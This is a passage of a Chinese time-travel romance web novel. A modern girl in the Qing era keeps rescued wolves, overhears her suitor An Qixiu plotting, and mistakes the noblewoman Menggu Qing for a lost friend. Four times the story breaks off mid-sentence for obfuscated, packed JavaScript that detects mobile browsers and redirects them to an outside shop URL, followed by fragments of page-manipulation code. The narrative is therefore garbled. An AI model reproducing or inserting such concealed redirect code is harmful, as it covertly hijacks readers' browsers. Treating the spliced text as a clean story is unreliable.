抬头看向安齐修,却发现他的眉头都没有皱一下,只是用很温柔的眼神在望着她。 董浣浣有些心疼,这个人就是这样,从来都不会为疼痛皱一下眉头。 安齐修看着那张一直盯着他伤口的小脸,时而蹙眉,时而抿唇,内心深处有股温泉在汩汩的往外冒着一种名为感动的暖流。 他的姑娘就是这样,不会像别的女子那样矫揉造作的去避嫌,去躲在你不知道的地方用你不知道的方式来表达她的关心,她会明晃晃的站在你面前去观察去表达,她的关心随处可见,给足了他生平最缺乏的安全感。 待单良给安齐修包扎完成之后,董浣浣和安齐修去看一下那头母狼的情况。 那头母狼流了那么多血,又在山洞里不吃不喝的呆了一夜,董浣浣很担心它会熬不住,死了。 没想到经过那么漫长的一夜,刚刚给它喝了点水吃了点东西,它竟然奇迹般的熬了过来,此刻正躺在一边两只眼睛滴溜溜的看着董浣浣。 董浣浣围着母狼转了一圈之后,又看向那头公狼。 现在董浣浣终于相信安齐修说的话了,卫苑果然是个训狼的高手,那个初见时凶神恶煞的独眼狼,此时就被绑着扔在一边,一脸戒备的看着跟在董浣浣后面的安齐修和卫苑,小心翼翼的呜呜的叫着。 董浣浣看完那匹狼的可怜相,想到了一个问题,转过身去问安齐修道:“我们真的要把它们带回去养吗?” 虽然她之前和安齐修说想要把狼带回家养,但是那也只是不想让安齐修把狼杀死的缓兵之计,如今既然大家都没有了想要杀狼的想法了,董浣浣觉得野生动物还是放归自然比较好。 安齐修听到她这样说,就知道她又心软了,想放归那两头狼,不过既然阚先明把这两只畜生送来折腾他们,又岂有给他送还回去的道理。于是一本正经的对董浣浣说道:“那头母狼伤的那么重,如果把它放回去了,它大约也活不了多了,那头公狼没有它也许也会死,还是带回去养着吧。” 董浣浣点头:“哦。” 说完之后又转过头去看了两眼那两头狼,心里觉得很奇妙,在大兴安岭带回去两只狼养着玩,她在现代吹牛皮都不敢这么吹。 一行人,整顿好了之后就出发准备回程了。 因为安齐修受了伤,董浣浣不允许他再骑马了,所以雪融负责驮着两头被捆绑上的狼,董浣浣则和安齐修,安齐平他们都改坐车了。 经过一天一夜的颠簸,一群人终于回到了“未名谷”。 42. 秘密 经过两天的修整,一群人终于恢复了原来的气色。 早上吃过饭之后,应董浣浣的请求,管家婆婆命人给她搬了张桌子在后院。 阳光和暖,微风习习。 董浣浣和紫鸢小柒一起坐在后院晒太阳。 小柒年纪小,董浣浣觉得这孩子的未来不能被她给耽误了,虽然自己不上进,但还是厚着脸皮的要求小柒识文认字。 此刻小柒坐在一边在认真的写字,紫鸢则坐在一边绣花,只有董浣浣最无聊坐在一边无所事事的看着那两只被他们带回来的狼。 那两头狼此时正趴在它们的笼舍里,津津有味的在吃盘中的牛肉。 这两天它们好像已经适应了所处的环境,不叫不闹的,开始安心的等着卫苑来投喂它们。 说来也是惭愧,虽然这两只狼名义上是她的,可是从饲养到打扫安齐修从来都没有让她插过手。 董浣浣越看越郁闷,好像所有人都有事做,就连狼都忙着喂饱自己,只有她一个人无所事事的。 小柒写完一贴,在换纸的空档,看见董浣浣一直盯着那两头狼,忍不住的好奇道:“小姐,我们离开这里的时候还要把小乖乖和小甜甜带走吗?” 小乖乖是董浣浣给那头凶神恶煞的独眼狼取的名字,至于为什么取去这样一个名字,董浣浣只是想让它乖一点,好养一些,万一哪天卫苑不给她养了,她也好上手自己养,小甜甜则是那头母狼的名字,取名意义同上。 董浣浣撑着下巴,抬眼看了一下正在说话的小柒,有气无力的说道:“先养着,然后走一步,算一步吧。至于离开这里那天它们的去处,我再和安齐修商量。” 小柒点头道:“哦。”,然后换了张纸,低下头继续写字。 董浣浣看着她专注的样子,心想古代的小孩真是上进,她只是那么一说,这孩子就开始每天坚持习文练字。 而她呢,以前上学的时候,不到最后交作业的关头是绝对不会写的,考试也是提前几天才会开始复习,从来没有真正意义上的用过功。 想来也真是惭愧。 又过了一会,董浣浣把手从脸上拿开,身体靠后仰,双手冲着天伸了一个懒腰,然后把脸直接放在桌子上,与桌子直接来了个亲密接触道:“好无聊哦。” 脸放在桌子上,凉津津的,感觉很舒服,董浣浣一时间不想抬起头来了。 坐在她旁边正在绣花的紫鸢,听见她的动静,眼睛从布上移开,看着董浣浣此刻的样子提议道:“要不,小姐我教你绣花吧?” 说起来,夫人去世的早,小姐又一直病着,除了诗词书画小姐执拗着要学,别的东西老爷说太耗费心神是从来不让小姐沾手的。现在小姐的病完全康复了,这些东西学一学总该是没有坏处的,紫鸢心想。 董浣浣闻言,赶忙摆摆手:“算了,我看久了这个会眼睛疼。” 开玩笑,上学那会儿流行十字绣,她买了一堆最后都被她不知道扔到了什么地方去了,这么“大家闺秀”的东西一点也不适合她。 紫鸢见她一副抗拒的样子,就打消了让她家小姐学刺绣的念头,转而又提议道:“要不您接着打算盘,看账本吧,您不是很想要做商人的吗?” 打算盘? 看账本? 这都是哪辈子的事情了。 如果不是紫鸢和安齐修时不时的提醒她,她都快忘了,自己曾有一个这么高尚的梦想。 废宅就是废宅,到了哪里都一样是废宅。 穿越电视剧里的男女主角们通常都是学霸,人家熟读历史,博古通今,可以在血雨腥风的朝堂和后宫指点江山。 而她这个学渣一朝穿越了,除了会吃喝玩乐,竟然什么都不会。 除了比古人多知道一点现代知识,会使用手机和电脑,其余的还不如一个古人。 人家穿越前辈穿越过来是为了指点江山搅弄风云的,而她穿越过来,只会趴在这里看狼吃肉。 董浣浣不明白老天爷为什么会让她当这个天选之子,看狼吃肉这事她不穿越在现代动物园里她也是可以完成的。 让她过来帮助别人,至少也给她的系统啥的,让她知道她下一步该做什么吧,而不是待在这里无所事事。 老天爷还算好心把她托生在一个不愁吃穿的大户人家,还好在她出门不久就遇到了安齐修,不然遇到那么多的麻烦她都不知道该怎么解决。 董浣浣越想心里越低落,不由得在嘴里发出了一声叹息。 想想她来这个世界这么久了,唯一的成就大概就是认识了安齐修,和他谈了一场恋爱。 只不过一想到安齐修的家庭背景,董浣浣就有点脑壳疼,有一个时不时就想要致他于死的叔叔,这件事实在是不好解决啊。 董浣浣,长长的叹了一口气之后,心想算了,还是走一步算一步吧,站起身来对小柒和紫鸢说道:“我在这里晒得都快要长蘑菇了,你们忙吧,我去找一下安齐修。” 小柒和紫鸢同时抬起头来,对她说了声:“哦。” 董浣浣看了两人一眼,脸上不自觉的挂上了得意的笑容,迈着轻快的步伐,去找安齐修玩了。 安齐修房内。 卫苑覆手站在安齐修的面前,神情严肃的和安齐修说道:“皇上,洪先生传信过来通知我们一切都已经安排就绪了,询问我们什么时候回京。” 安齐修闻言,放下手中的书,抬起头看向卫苑,说道:“不着急,还有一件事没有完成,月末准时回京。” 卫苑闻言说道:“还有什么事情没有完成,臣愿意为皇上效劳。” 安齐修上下轻拍了一下双手,然后看向卫苑,语气平淡的说道:“也不是什么重要的事,不用那么紧张,就是月末了这里会有一场那达慕大会想带浣儿去看一下而已,顺便带她好好在蒙古游玩一番,此次回京,以后恐怕都没有这样的机会了。” 卫苑听安齐修这么说,皱了皱眉头,弯下腰向安齐修拱手劝诫道:“主子恕微臣斗胆劝诫,这件事我们准备了这么久,为了防止再生祸端,应该及早回京布置妥当比较好。” 安齐修听出了卫苑的弦外之音,站起身来走到卫苑的旁边,拍了一下卫苑的肩膀,示意他起身后,问道:“卫苑,你跟我多久了?” 卫苑又拱起手道:“回皇上的话,臣自五岁认识皇上以来,跟在您身边已经有十年的光景了。” 安齐修点点头,然后一脸严肃的反问道:“这么长时间还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815867|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够你了解我吗?” 卫苑低下头不说话。 安齐修见他不说话,接着说道:“这件事和任何人无关,越是到了这个时候,我们越是要沉得住气,这样的机会一生只有一次,如果失败了我将不再是我了,这个道理我比谁都明白。” 卫苑抬起头刚想要张口解释,安齐修拍了一下他的肩膀道:“我知道你的劝诫都是为我着想,只不过我想告诉你天下和董浣浣对我来说同等重要。我不会是商纣王,她也不会是苏妲己,这点你放心。” 安齐修的话音刚落,卫苑直接扑通一下跪在了地上,冲着安齐修重重的磕了一个响头,否认道:“请皇上明鉴,微臣绝对没有把您和浣主子比作商纣王和苏妲己的意思。” 安齐修看到他这个样子,走向他跟前,弯下腰伸手把卫苑扶起身来道:“卫苑,你多虑了。我这只是和在我身边呆了十年的朋友说说我的心里话,没有说你出言不逊,以下犯上的意思。” 待卫苑站好之后,安齐修又接着说道:“即使你为了劝诫,把我们比做成商纣王和苏妲己也无妨,昔日唐太宗之所以成为一代明君,皆是因为善听纳谏,知贤善任的缘故,我希望我以后的帝王路会有更多的像魏征一样敢于直言善谏的贤臣。” 卫苑闻言,俯首道:“您的帝王之路,一定会如您所愿。贤臣良佐,天下太平。” 安齐修闻言,微微的点头道:“承你吉言。” 安齐修看了一眼卫苑,想了想,接着又说道:“她生性是一个无拘无束向往自由的人,待日后她嫁与我了,虽然我可以给她我所认为的最好的,但因为我她的一生能从那个高墙出来的次数,也会变得屈指可数,在她没有嫁我之前,在一切还没有成为定局之前,我想要尽力的给她弥补。” 卫苑听完安齐修的话拱手道:“皇上所言极是,属下明白了。” 安齐修点了点头。 转身回到塌上坐下,换了一个话题道:“安插在他府中的探子有回信吗?” 卫苑抬起头看向安齐修说道:“没什么有用的内容,他这些天都是和往常一样,上朝,去后宫与太后议事,回府,宴客,和往常无异。” 安齐修端起面前的茶杯,喝了一口道:“那就好,让密探时刻注意他的动向,现在就是比我们谁更能沉得住气的时候。” 卫苑拱手道:“微臣明白。” 安齐修点了一下头,然后说到:“现在他已经知道了我们的计划,只是还不知道具体的时间和内容,他一定会千方百计的去了解,或者先除掉我来以防万一,这段时间你一定要多加派点人手暗中保护好浣儿的安全。” 董浣浣来到安齐修的门口恰巧就听到了这就话。 想要敲门的手就顿在了那里。 心里开始暗暗的担心起他来。 他是想要做什么事情吗? 这件事是不是风险很大,是和他叔父有关的吗? 董浣浣正要听下去,门刷的一下就被从里面打开了,接着便看到了卫苑那张面无表情的脸。 偷听不当场抓包,董浣浣一时间不知道该作何反应,就那样楞楞的站在原地。 就在这时,安齐修的声音在卫苑的背后响起:“让她进来吧。” 43. 遇见孟古青 卫苑听到安齐修的话侧过身去,面无表情的给董浣浣让了路。 董浣浣看了一眼卫苑的脸色,硬着头皮,走进了房里。 走到安齐修的面前,站定,有些不安的搓搓手。 低着头,不敢看安齐修的眼睛。 心里尴尬的要命,早知道她就不来了,在院子里晒着太阳,无聊的看着狼吃肉,总比现在这种情况要好的多。 偷听被当场抓住,这该怎么和安齐修解释。 虽然她不是故意的,虽然她也没有偷听到多少,可是现在她如果这样说,安齐修会相信吗? 他一定是不相信的吧,毕竟换做是她她也不会相信事情是这么巧的。 屋子里静悄悄的,董浣浣的心却是上下翻涌,极度不安的。 安齐修看到她这幅局促不安的样子,心想果然是个单纯的丫头,脸上一点也藏不住事。 手轻捂了下唇,拂去了唇角的笑意之后,然后一本正经的说道:“是不是太闷了想要出去玩?” 董浣浣没有反应过来他的转折,有些迷茫的抬起头,从嘴里发出了一个:“啊?” 安齐修被她傻愣愣的模样又逗笑了,勾了勾唇角又重复了一遍道:“我说,你是不是太闷了,来这里找我带你出去玩。” 董浣浣这才反应过来安齐修问的什么。 心想:他这是不追究她刚才站在门口偷听的事情了? 于是赶忙就坡下驴的回答道:“对,对,我想要你带我出去玩。” 闻言,安齐修点了点头笑着说道:“好。” 站起身来拉住董浣浣的手,微笑着说道:“我们走。” 直到这时,董浣浣还不能相信,安齐修就这样一点也不追究她偷听的事情了? 被安齐修牵着的董浣浣,她恍恍惚惚的有一种自己将来有可能成为“红颜祸水”的错觉呢? 走到门前,安齐修停住了脚步,冲着躬身站在一旁的卫苑说道:“今天交代你的事情,切记不能让第四个人知道。” 卫苑转过身来拱手道:“请主子放心,属下定当守口如瓶。” 安齐修,卫苑和她,这个房间里一共只有三个人。 董浣浣暗暗在心里记下了,安齐修之所以和卫苑这么说,是在点醒她是第三个人,让她守口如瓶而已。 待卫苑说完之后,安齐修又道:“齐平整日待在书房想必也闷坏了,今天恰好天气爽朗,你去他的房间知会他一声,就说我邀他出去逛逛。” 卫苑闻言,应声道:“属下这就去请。” 安齐修闻言,又看了一眼身边一脸忐忑的董浣浣微笑着点点头,便带着董浣浣出门去了。 董浣浣听安齐修要把安齐平也带上,就顺便去了后院把小柒和紫鸢也带上了,想着她们这两天应该也闷坏了。 秋高和暖,天空中万里无云。 一群人高高兴兴的来到街上。 科尔沁的集市除了有一些具有民族特色的物件之外,大体上和其他的集市也是差不多的。 董浣浣脸上强撑着笑意,看似在认真的左看看右看看,东摸摸西摸摸,其实注意力却始终停留在刚刚在房间里安齐修和卫苑的谈话内容上。 安齐修要求的保密,她肯定是会保密的。 只不过他们到底是在谋划什么呢? 到底是不是针对他叔父的? 他们会不会有危险? 正当董浣浣还沉浸在担心安齐修会不会出事的情绪中的时候,就感觉前方的人群一阵骚动,仿佛有人在喊:“抓小偷,抓小偷”。 董浣浣闻声,抬眼望去就看到一个慌慌张张的男人正在边回头边推开两边的人群向他们这边跑来,看样子就是那个小偷。 眼看着那人距离他们越来越近,董浣浣的大脑和腿仿佛顿住了,一时间不知道该作何反应。 就直勾勾的看着那人正一点一点的向着她冲了过来。 安齐修看到她这个样子一把把她拉到怀里,走到了一边,小声的在她耳边说道:“想什么呢,这么出神,遇到了危险都不知道闪开。” 董浣浣心虚的回答道:“没,没什么。” 待安齐修抱着董浣浣闪开之后,其他人也纷纷跟着走到了一遍,卫苑则走上前去,准备出手制服那个小偷。 没想到还没等卫苑出手,一声响亮的皮鞭声响起,那个小偷就被打翻在地,衣服上瞬间撕裂,后背露出了一条长长的血丝。 接着便是两声马蹄落地的声音,一个女孩坐在马上昂着头,眼睛睨视着那个小偷。 此时站在一边看到此情此景的董浣浣脑子里瞬间想到了“鲜衣怒马”这个词。 原来这个词不光可以形容男人,一样可以形容女人。 那个女孩,头戴黑底镶有七色宝石下边坠着红色珠串的帽子,身着红底镶着金线的骑装,坐在马上,手持一条手柄处坠有五色宝石的鞭子,目光冷冷的看着那个躺在地上的小偷,嘴角含笑的讥讽道:“有本事再跑啊,你怎么不跑了!” 她的话音刚落,董浣浣的眼泪就已经蓄满了眼眶。 想要挣开安齐修的怀抱,奔到她的身边去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815868|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是她的力气和安齐修比起来太小了,一时间挣不开安齐修的钳制。 董浣浣泪眼汪汪的看向安齐修,一脸希冀的希望他可以放开她,不料安齐修此时竟然不为所动,一脸认真的对她说:“乖,以后你要学会不要把自己置于危险之地。” 董浣浣知道他在担心什么,可是现在那个小偷已经被制服了,她只想尽快的跑到她的身边,抱着她再也不松手了。 董浣浣仰起头看向安齐修道:“可是,可是、、、、、、” 还没等到董浣浣可是出来,她的话就被安齐修给打断了。 安齐修脸色严肃的说道:“没有可是,以后我不允许你再把自己置于危险之中。” 董浣浣被他的脸色唬住了,乖乖的从嘴里蹦出了一个:“哦。” 转头往那个女孩的方向望过去。 此时那个女孩翻身一跃从马上跳了下来,伸脚踢了踢地上的那个小偷,呵斥道:“你给我起来!” 那小偷被踢得“哎呀,哎呀”的直抽气,就是赖在地上不起来。 眼看着围观人群也越来越多。 都在指指点点的小心的议论着当前的情况。 这时候从她的马后面匆匆忙忙跑来了三个人,一男一女两个人左右两边扶着一个老太太,董浣浣一看这不正是孟章砚的那个随从和那个丫鬟吗。 那个随从从那个小偷的兜里掏出了一个钱袋子递给那个和他们一起跑来的老婆婆道:“伊吉,还给您的钱袋子,您下次一定要看好了,不要再被偷了。” 那个老婆婆颤颤巍巍的伸出手来接过那个藏青色的钱袋子,激动的冲着那三个人一顿点头道谢。 围观的人群此时也都开始拍手叫好。 那个女孩指着地上的小偷,冲着布和吩咐道:“把他拉起来去送官。” 布和应声准备拉起那个小偷,谁知那个小偷就那样一直赖着就是不肯起来,围观人群中有两个壮汉看到这种情况走上前来帮忙,一把把那个小偷像个小鸡似的拉了起来,抓去送官了。 小偷被两个壮汉给带走了,女孩则吩咐身旁的布和和娜布其护送被抢的老奶奶回家。 待事情摆平以后,围观的人也都散了。 那个女孩刚准备上马,就被董浣浣一把抱住了。 董浣浣边抱着她一边哭一边笑,然后说道:“真是太好了,孟古青你没死啊!” 孟古青还是第一次被一个陌生的女子这样抱着哭,一把推开董浣浣,有些莫名的训斥道:“放肆,你是谁竟然敢对我这样无理!” 44. 错认 被推开的董浣浣依然锲而不舍,眼泪汪汪的又凑近孟古青,两只手像粘合剂一样死死的抱住了她的腰。 这一次她的力气之大,任由孟古青怎么推都推不开。 孟古青左右看了下并没有人愿意上来帮她一把,无奈的冲着天翻了个白眼,只能松开手任由她抱着。 安齐修刚才以为她只是路见不平想要上前拔刀相助的,才会想要阻拦她,没想到事情尘埃落定之后,他一松手就变成了如今的场面。 单良站在安齐修的后面,看了几眼董浣浣和孟古青的互动,走到安齐修的跟前,观察了一下安齐修的脸色,有些为难的说道:“主子。” 安齐修闻言,转头看了一眼单良,语气平淡的说道:“是她?” 单良点头应道:“是她”。 安齐修微一颔首,眯着眼看向董浣浣抱着的那人,不做评价。 这就是他的表妹,太后和多尔衮想要塞给他的“皇后”。 单良小心翼翼的观察了一下安齐修的脸色,然后小声的说道:“主子,浣主子这样,会不会坏了您的计划,我们要不要?” 接下来的话他没有说下去,不过安齐修都明白。 安齐修挥了挥手道:“不用。” 单良了然,退回到了安齐修的身后。 安齐修不作为,站在另一旁的紫鸢和小柒也是第一次遇到这样的情况,本来是想要上前拉开董浣浣的,可是又被站在她们旁边的刘全给拉住了。 紫鸢小心翼翼的看了一眼站在另一端的安齐修的脸色,知道自家小姐好像又闯祸了。 没有人阻拦的董浣浣哭的更加的肆无忌惮了,眼泪和鼻涕蹭了孟古青一身。 嘴里委屈的说道:“都是我的错,早知道就不邀请你们看什么大佛了,大巴侧翻的那天真的吓死我了,这些天我都不敢想你们会怎么样,还好,还好,你安然的出现在了我的面前。你有没有看到其他人啊,老大老二他们呢?还是只有你也穿过来了?你这些天过的好吗,吃的饱,穿的暖吗?” 董浣浣没头没脑的说了一通,边说边睁着水汪汪的大眼睛看向孟古青,手在孟古青的身上游走,想要确认她是否是完完整整的,没有任何毛病的出现在她的面前的。 她的话颠三倒四的,被上下其手占便宜的孟古青很多内容都听不懂,不过依照她能够听懂的大概内容,孟古青猜测她可能是认错人了。 孟古青两只手先是制止了她上下乱摸的手,接着扶着她的肩膀,眼睛直视着她用她平生最大的耐心的和董浣浣解释道: “我本名叫博尔济吉特.额尔德尼本巴,汉文名字叫孟古青,是卓礼克图亲王吴克善之女,一直生活在草原上,并且我确认我从未见到过姑娘。我不知道这位姑娘你是怎么知道我的名字的,也不管这位姑娘你把我认成谁了,我都可以告诉你,你认错人了。” 站在安齐修身后的单良,听到这些话,又开始忧心忡忡起来。 今天出门是没有看黄历吗,怎么什么时候不遇到,偏偏这个时候遇到了,而且浣主子还一副很粘着她的样子,这该如何是好。 董浣浣闻言眼泪哭的更凶了,抬起手晃动着孟古青的肩膀,委屈的说道:“你是失忆了吗,还是你生我的气,再也不想理我了,我知道错了,我以后再也不敢了,求你不要装作不认识我了。” 接着便脑袋一沉,昏死了过去。 被董浣浣摇的有点厌烦的孟古青,想说这个姑娘怎么这么固执的认为她就是她口里的那个人呢,怎么什么解释都不听呢,正想要甩开她的手不陪她闹了时候,她就昏倒在了她的身上,手还紧紧的攥着她的胳膊。 孟古青愣住了,惯性的扶住了董浣浣滑下去的身体。 站在一边的安齐修,看到这个情况赶忙跑上前来。掰开董浣浣抱着孟古青的手,把董浣浣从孟古青的怀里拉出来。 在做这一串动作的同时向卫苑喊道:“卫苑,去找辆马车。” 卫苑应声去寻马车去了。 安齐修则把董浣浣放平在他的腿上,先是探了一下她的鼻息,接着又掐了一下她的人中,最后又摸了一下她的脉搏。 发现她并无大碍后,在单良的帮助下,把董浣浣背了起来,抬腿就走。 孟古青拦住安齐修的去路道:“你们是谁,和她有什么关系?” 安齐修瞥了她一眼,没说话,直接背起董浣浣侧面绕过她,走了。 单良跟在安齐修的后面负责善后,脸带歉意的躬下身去给孟古青作了揖,和她解释道:“实在是抱歉,我家主子她认错人了。”,然后快步去追安齐修了。 刚刚被刘全拽住的紫鸢和小柒此时也挣开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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董浣浣此时和处在昏迷阶段,安齐修让她枕在自己的腿上,小心翼翼的护住她的头,生怕她顺着他的腿滚下地面,磕着。 孟古青看着此情此景调侃道:“这世间还有你这样细心的男子,真是难得。” 安齐修笑着道:“心尖上的人,怎么细心都不过分。” 孟古青闻言笑了笑,不予置评,继续摆弄她的皮鞭玩。 马车一路疾驰,回到了未名谷。 安齐修把董浣浣从马车上抱下来,脚底生风似的走进了院里。 其他人紧随其后,只有孟古青优哉游哉的左看看又逛逛,在管家的引领下,去客房喝茶去了。 45. 醒来 董浣浣又做了同样的梦。 董浣浣又做了同样的梦。 和在第一次遇袭时,在董小宛家醒来时做的梦是一样的场景。 一睁开眼睛,是干净整洁的病房。 她带着氧气罩躺在床上,旁边站着她的父母和宿舍的那三个。 孟古青正眼泪汪汪的握着她母亲的手,嘴里在说些什么,董浣浣听不清楚。 这种感觉太真实,真实让她好想努力的站起身来,去拥抱他们,告诉他们她好想他们啊。 可是她的大脑又在明明白白的告诉她,这一切只不过是她的幻觉而已,她现在身处在几百年前的大清朝,见到了和孟古青长得一模一样的孟古青,可是这个孟古青却说不认识她。 然后她一激动就晕了过去。 晕过去之后她就见到了那个会为她哭泣,为她担忧的孟古青。 董浣浣的鼻尖微微的有点酸。 这才是她的孟古青该有的样子啊。 她正感动着,只觉得眼前一黑又昏死了过去。 直到晚上,董浣浣才在睡梦中醒来。 环顾了一下眼前的布置,是她在清朝的房间。 旁边还坐着安齐修。 安齐修看她醒来了,松开握着她手的其中一只手,站起身来,摸了摸她的额头,感觉并不烫,烧应该是退了,于是柔声的问道:“乖,跟我说一下,还有哪里感觉不舒服的。” 此时董浣浣只是感觉到全身无力,但是并没有感到难受或者疼痛,她不想安齐修替她担心于是摇摇头道:“我不难受,就是有点口渴了。” 安齐修闻言,吩咐站在旁边的紫鸢:“去给她到杯温水过来。” 紫鸢弯下腰揖了揖手,应道:“好的。” 因为害怕人多站在床前影响董浣浣休息,按照安齐修的吩咐,董浣浣的床前只守着安齐修和紫鸢,其他人除了单良站在门外,都各自回房等消息了。 董浣浣看了一眼的紫鸢倒水的背影后,然后转头看向安齐修问道:“刚才,那个姑娘去哪了?” 还没等到安齐修回答她,紫鸢就倒好了水,端着水杯走到了她的面前。 安齐修把她扶了起来坐好,接过紫鸢手中的水杯,然后把水杯递给她道:“你想要见她吗?” 董浣浣点头道:“嗯。” 安齐修闻言,先是嘱咐她道:“你先喝水。” 董浣浣接过水杯喝了一口水之后,抬头又看向安齐修道:“你问过她住哪儿了吗,我可以去找她吗?” 安齐修等她说完之后,柔声道:“可以是可以,不过你可不可以告诉我,你为什么认识她。” 以他掌握的信息,她应该是和孟古青毫无交集才对。 董浣浣看了一眼安齐修又看了一眼站在一边一脸疑惑的看着她的紫鸢,心想如果她说她是穿越来的,他们指定是不会信的,可是紫鸢又是从小到大陪在浣浣身边的,也不能撒谎说是她以前的朋友。 董浣浣一番思索之后,有些为难的说道:“说出来你们可能不相信。” 安齐修勾了勾唇角,笑着说:“你都没说,怎么就下了定论,说我一定会不相信呢?” 骑虎难下的董浣浣,硬着头皮说道:“她是我梦中的朋友,我以前经常生病,每次生病梦里都能遇到她,可是自从我病好了,我再也就梦不到她了,没想到有一天我居然可以在现实中看到她。” 董浣浣说完有些心虚的看了看安齐修和紫鸢的脸色。 这是她短时间唯一能想到的看似合理的说辞。 只不过她撒的这个谎,实在是太离谱了,换做是她一定不信的。 没想到安齐修听完之后,点了点头道:“原来是这样。” 然后冲着门外唤道:“单良,去把孟小姐请来。” 单良听到安齐修的吩咐,回道:“好的,主子,我这就去请孟小姐。” 不多时,孟古青在单良的引领下迈着轻快的步伐就出现在了董浣浣的房门前。 单良站在门口作出了一个请的手势对孟古青说道:“孟小姐,请。” 孟古青笑着点了一下头,迈进了房里,单良则继续站在门外守着。 孟古青环顾了一下董浣浣卧房的布置之后,走到床边,很是自在的自己拉过床边的椅子坐下,把手中的皮鞭放在一边,看着在床上坐着的董浣浣道:“你醒了?” 董浣浣看着近在眼前的孟古青,眼眶微微的发红,刚刚在梦里梦见她,她正牵着妈妈的手在哭泣,如今一觉醒来,她就在眼前,这种感觉让她一时间不知道该怎么适应。 孟古青见她不说话,又问道:“知道这里是哪里吗,这些人你都认识吗?” 董浣浣闻言,不明所以的看了一眼安齐修的脸色,向他传达了自己的疑问,孟古青为什么会这么问? 坐在她床边的安齐修只是笑笑,并未开口。 董浣浣把目光从安齐修的脸上移开看向孟古青,然后愣愣的回答道:“这是我的房间,他们是我的家人。” 听她这样说,孟古青就安心了。 “既然是这样,我也就放心了,那我就先告辞了。” 说完正要起身,就被董浣浣拉住了衣角。 董浣浣可怜巴巴的望着她道:“你要去哪里?” 孟古青有些无奈的道:“小姐,你看看现在天色也不早了,你也安全的到家了,我是不是也可以回家了呢?” 董浣浣有些委屈的哽咽道:“可是,可是、、、、、” 坐在一旁的安齐修,轻轻的取下董浣浣拉住孟古青裙摆的手,小声的温柔的哄她道:“是你认错人了,乖,听话,不要去为难人家。” 虽然有些残忍,但是为了他们的将来,这个时候他必须斩断她与孟古青之间的牵连。 被扯下小手的董浣浣,心里更加的委屈了。 她明明没有认错,她就是孟古青啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815870|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个世界上,她不相信真的会有长得一模一样就连名字也一样的两个人。 安齐修不忍心看着她那张委屈的脸,扭头冲着单良吩咐道:“单良,去备马车,送孟小姐回家。” 孟古青一听,拍了拍衣角,站起身来,告辞道:“既然是这样,那我就告辞了。” 转身就往门外走。 董浣浣一听,顿时急了。 冲着孟古青伸手道:“你等等。” 由于动作过大,她险些掉下床去。 紫鸢被吓得惊呼了一声,还好坐在一旁的安齐修眼疾手快的赶忙把她扶好。 本来已经走到门边的孟古青,听到背后的动静,有些无奈的咬了咬牙。 看样子她是被这个姑娘给赖上了。 怎么选谁不好,偏偏选了她呢。 算了,安达说过,佛祖有云,救人一命胜造七级浮屠,就让她来造浮屠吧。 孟古青转过身去,走到床边,脸上堆起笑容道:“我不走,你别激动,先坐好。” 董浣浣闻言往床边挪了挪,两只眼睛直勾勾的看着她,一分钟也不想离开。 孟古青看到董浣浣这个模样,有些于心不忍道:“你想说什么,你就说吧,我听着。” 董浣浣没说话,只是用无比可怜的眼神望着她。 孟古青看到此情此景,叹了口气,然后说道:“你不愿说那就不说了,相逢即是有缘,那我就交你这个朋友了。” 董欢欢睁着大大的眼睛,水汪汪的望着她道:“真的吗?” 孟古青点头。 此刻董浣浣的心里别提多开心了,虽然孟古青不记得她了,但是,他们还能做好朋友,她就知足了。 孟古青又道:“我的名字你已经知道了,方不方便告知一下你的名字?” 董浣浣闻言,道:“董浣浣,草重董,浣溪沙的浣。” 孟古青点头道:“是个好名字”,然后话题一转提议道:“这样,今年的那达慕大会比往期的时间要推迟了一些,到时候一起去?” 董欢欢闻言,抬眼看向安齐修,泪眼汪汪的希冀着看着他。 明明理智告诉他,这时候他应该替她拒绝的,可是看着她那可怜巴巴的眼神,他却狠不下心来。 算了,反正以后也不会见到了,在蒙古的这几天,就让她开开心心的玩吧。 安齐修点了点头,温柔的说道:“只要你这两天好好休养,后天我们一起去。” 孟古青看到了两人间的互动,不置可否。 起身道:“既然这样,那我就先告辞了,后天那达慕大会上见。” 董浣浣笑着看向孟古青道:“好。”,然后吩咐紫鸢去送一下孟古青。 紫鸢看向孟古青做了一个请的动作,孟古青点头笑了笑走出屋子。 走到门口又看了一眼董浣浣和安齐修,心想:这两个人还真有趣。 46. 那达慕大会 那达慕大会当日。 经过了一天一夜的休息,董浣浣又满血复活了。 